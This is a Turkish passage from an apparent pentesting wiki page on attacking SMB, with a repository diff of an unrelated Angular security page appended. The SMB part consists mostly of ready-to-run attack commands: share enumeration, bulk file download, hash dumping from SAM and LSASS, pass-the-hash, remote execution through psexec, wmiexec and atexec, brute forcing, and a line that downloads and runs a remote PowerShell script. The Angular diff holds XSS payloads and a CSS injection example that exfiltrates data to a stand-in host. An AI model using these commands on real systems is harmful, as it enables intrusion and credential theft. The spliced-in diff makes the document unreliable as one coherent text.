Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
Windows hedefleri için yaygın paylaşım adları şunlardır:
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_dan)
Onlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz.
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
bu script için (null oturumu kullanarak)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
örnekler
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windows'tan payları listele / üçüncü taraf araçlar olmadan**
PowerShell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD konsolu
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Eklentisi (grafik)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafik), mevcut gizli olmayan paylaşımları görmek için `\\<ip>\` yazın.
### Paylaşılan bir klasörü bağlayın
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Dosyaları İndir**
Kimlik bilgileriyle nasıl bağlanacağınızı öğrenmek için önceki bölümleri okuyun/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Komutlar:
- mask: dizindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örneğin, "" tüm dosyalar için)
- recurse: yinelemeyi açar (varsayılan: kapalı)
- prompt: dosya adları için istemeyi kapatır (varsayılan: açık)
- mget: maskeye uyan tüm dosyaları ana bilgisayardan istemci makinesine kopyalar
(_smbclient'in man sayfasından bilgi_)
### Alan Paylaşılan Klasörler Arama
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) örümcek.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** olarak adlandırılan dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgilerini içerir.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
## Kayıt Defterini Oku
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini** **okuyabilirsiniz**. Impacket **`reg.py`** denemenize olanak tanır:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalara** sahip olabilir:
| **Ayar** | **Açıklama** |
| --------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Mevcut paylaşımları listelemeye izin verilsin mi? |
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin verilsin mi? |
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? |
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? |
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
## Authenticate using Kerberos
**Kerberos** ile **kimlik doğrulaması** yapmak için **smbclient** ve **rpcclient** araçlarını kullanabilirsiniz:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Komutları Çalıştır**
### **crackmapexec**
crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
**Daha fazla bilgi** için [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)ve [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**parametre**`-k` kullanarak **kerberos** ile **NTLM** yerine kimlik doğrulaması yapabilirsiniz.
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyla **port 135** kullanarak gizlice bir komut kabuğu çalıştırın.\
**kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır.
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**parametre**`-k` kullanarak **kerberos** ile **NTLM** yerine kimlik doğrulaması yapabilirsiniz.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket referansı
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Kaba kuvvetle kullanıcı kimlik bilgileri**
**Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları bir **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\
[**Bu saldırı hakkında daha fazla bilgi burada.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
Bu, aşağıdaki işlevlerle gerçekleşir:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanılır.
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM Theft
SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama girişimini tetikleyebilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](pentesting-smb.md#smb-relay-attack) için kullanılabilir.
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,10 +1,12 @@
# Angular
{{#include /banners/hacktricks-training.md}}
## Kontrol Listesi
Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist) alınmıştır.
Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Angular, istemci tarafı bir framework olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez
* [ ] Angular, istemci tarafı bir çerçeve olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez
* [ ] Proje yapılandırmasında scriptler için sourcemap devre dışı bırakılmıştır
* [ ] Güvenilmeyen kullanıcı girişi, şablonlarda kullanılmadan önce her zaman interpolasyon veya sanitizasyon işlemine tabi tutulur
* [ ] Kullanıcının sunucu tarafı veya istemci tarafı şablonları üzerinde kontrolü yoktur
@ -14,11 +16,11 @@ Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist)
## Angular Nedir
Angular, **güçlü** ve **açık kaynak** bir ön uç framework'tür ve **Google** tarafından sürdürülmektedir. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur.
Angular, **güçlü** ve **açık kaynak** bir ön uç çerçevesidir ve **Google** tarafından bakım yapılmaktadır. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur.
## Framework mimarisi
## Çerçeve Mimarisi
Angular'ın temel kavramlarını daha iyi anlamak için, onun temel kavramlarına göz atalım.
Angular temellerini daha iyi anlamak için, temel kavramlarına göz atalım.
Ortak bir Angular projesi genellikle şöyle görünür:
```bash
@ -39,17 +41,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Dokümana göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarşisini bağlayan kök bileşen (`AppComponent`) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablonu ve ilgili bileşen özel meta verilerini sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır.
Dokümana göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarisi bağlayan kök bileşen (`AppComponent`) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablonu ve ilgili bileşen özel meta verilerini sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır.
Angular NgModules, bir uygulama alanına, bir iş akışına veya yakından ilişkili bir yetenekler setine adanmış bir bileşen seti için bir derleme bağlamı bildirir. Her Angular uygulamasının, uygulamayı başlatan bootstrap mekanizmasını sağlayan kök modülü, geleneksel olarak `AppModule` olarak adlandırılır. Bir uygulama genellikle birçok işlevsel modül içerir. `AppModule`, `app.module.ts` dosyasında tanımlanmıştır.
Angular `Router` NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarşileri arasında bir navigasyon yolu tanımlamanıza olanak tanıyan bir hizmet sağlar. `RouterModule`, `app-routing.module.ts` dosyasında tanımlanmıştır.
Angular `Router` NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarileri arasında bir navigasyon yolu tanımlamanıza olanak tanıyan bir hizmet sağlar. `RouterModule`, `app-routing.module.ts` dosyasında tanımlanmıştır.
Belirli bir görünümle ilişkilendirilmemiş ve bileşenler arasında paylaşmak istediğiniz veri veya mantık için bir hizmet sınıfı oluşturursunuz. Bir hizmet sınıfı tanımı, hemen öncesinde `@Injectable()` dekoratörü ile gelir. Dekoratör, diğer sağlayıcıların sınıfınıza bağımlılık olarak enjekte edilmesini sağlayan meta verileri sağlar. Bağımlılık enjeksiyonu (DI), bileşen sınıflarınızı ince ve verimli tutmanıza olanak tanır. Sunucudan veri almazlar, kullanıcı girişini doğrulamazlar veya doğrudan konsola günlüğe kaydetmezler; bu tür görevleri hizmetlere devrederler.
## Sourcemap yapılandırması
Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini takip ederek JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkin bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:
Angular çerçevesi, `tsconfig.json` seçeneklerini takip ederek TypeScript dosyalarını JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkinleştirilmiş bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:
```json
"sourceMap": {
"scripts": true,
@ -60,11 +62,11 @@ Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini tak
```
Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşleştirdikleri için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilirse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir.
Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçları → Sources (veya Debugger ve Sources) → \[id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda `//# sourceMappingURL=[id].main.js.map` satırını içerebilir veya **hidden** seçeneği **true** olarak ayarlandığında içermeyebilir. Yine de, **scripts** için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında `ng build --source-map` gibi etkinleştirilebilir.
Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçlarında → Sources (veya Debugger ve Sources) → \[id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda `//# sourceMappingURL=[id].main.js.map` satırını içerebilir veya **hidden** seçeneği **true** olarak ayarlandığında içermeyebilir. Yine de, **scripts** için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında `ng build --source-map` gibi etkinleştirilebilir.
## Veri bağlama
Bağlama, bir bileşen ile ilgili görünümü arasındaki iletişim sürecini ifade eder. Angular çerçevesine veri aktarmak için kullanılır. Veri, olaylar, interpolasyon, özellikler veya iki yönlü bağlama mekanizması gibi çeşitli yollarla aktarılabilir. Ayrıca, veri, ilgili bileşenler (ebeveyn-çocuk ilişkisi) ve iki alakasız bileşen arasında Service özelliği kullanılarak da paylaşılabilir.
Bağlama, bir bileşen ile ilgili görünümü arasındaki iletişim sürecini ifade eder. Angular çerçevesine veri aktarmak için kullanılır. Veriler, olaylar, interpolasyon, özellikler veya iki yönlü bağlama mekanizması gibi çeşitli yollarla aktarılabilir. Ayrıca, veriler, ilgili bileşenler (ebeveyn-çocuk ilişkisi) ve iki alakasız bileşen arasında Service özelliği kullanılarak da paylaşılabilir.
Bağlamayı veri akışına göre sınıflandırabiliriz:
@ -114,12 +116,12 @@ Sonuç: `<div><h1>test</h1></div>`
* `None`;
* `HTML`, değer HTML olarak yorumlandığında kullanılır;
* `STYLE`, CSS'nin `style` özelliğine bağlandığında kullanılır;
* `STYLE`, CSS'yi `style` özelliğine bağlarken kullanılır;
* `URL`, `<a href>` gibi URL özellikleri için kullanılır;
* `SCRIPT`, JavaScript kodu için kullanılır;
* `RESOURCE_URL`, kod olarak yüklenen ve yürütülen bir URL olarak, örneğin, `<script src>` içinde.
## Güvenlik Açıkları
## Güvenlik açıkları
### Güvenlik Güvenini Aşma yöntemleri
@ -149,7 +151,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//sonuç
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml`, verilen değerin güvenli HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
3. `bypassSecurityTrustHtml`, verilen değerin güvenli bir HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
```jsx
//app.component.ts
@ -162,7 +164,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html etiketi</h1>
<h1>html etiketi</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript`, verilen değerin güvenli JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütmenin mümkün olmadığını gördük, bu nedenle davranışının öngörülemez olduğunu bulduk.
4. `bypassSecurityTrustScript`, verilen değerin güvenli bir JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütme konusunda davranışının öngörülemez olduğunu bulduk.
```jsx
//app.component.ts
@ -174,7 +176,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//sonuç
-
```
5. `bypassSecurityTrustStyle`, verilen değerin güvenli CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
5. `bypassSecurityTrustStyle`, verilen değerin güvenli bir CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
```jsx
//app.component.ts
@ -187,11 +189,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Angular, verileri görünümlerde görüntülemeden önce temizlemek için bir `sanitize` yöntemi sağlar. Bu yöntem, sağlanan güvenlik bağlamını kullanır ve girişi buna göre temizler. Ancak, belirli veri ve bağlam için doğru güvenlik bağlamını kullanmak çok önemlidir. Örneğin, HTML içeriği üzerinde `SecurityContext.URL` ile bir temizleyici uygulamak, tehlikeli HTML değerlerine karşı koruma sağlamaz. Bu tür senaryolarda, güvenlik bağlamının yanlış kullanımı XSS güvenlik açıklarına yol açabilir.
Angular, verileri görünümlerde görüntülemeden önce temizlemek için bir `sanitize` yöntemi sağlar. Bu yöntem, sağlanan güvenlik bağlamını kullanır ve girişi buna göre temizler. Ancak, belirli veri ve bağlam için doğru güvenlik bağlamını kullanmak çok önemlidir. Örneğin, HTML içeriği üzerinde `SecurityContext.URL` ile bir temizleyici uygulamak, tehlikeli HTML değerlerine karşı koruma sağlamaz. Bu tür senaryolarda güvenlik bağlamının yanlış kullanımı XSS güvenlik açıklarına yol açabilir.
### HTML enjeksiyonu
Bu güvenlik açığı, kullanıcı girişi herhangi bir üç özellikten birine bağlandığında meydana gelir: `innerHTML`, `outerHTML` veya `iframe` `srcdoc`. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş `SecurityContext.HTML` kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak cross-site scripting (XSS) mümkün değildir.
Bu güvenlik açığı, kullanıcı girişi herhangi bir üç özellikten birine bağlandığında ortaya çıkar: `innerHTML`, `outerHTML` veya `iframe` `srcdoc`. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş `SecurityContext.HTML` kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak siteler arası betik (XSS) mümkün değildir.
`innerHTML` kullanma örneği:
```jsx
@ -216,9 +218,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
#### İstemci Tarafı Render (CSR)
Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsüllemeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir.
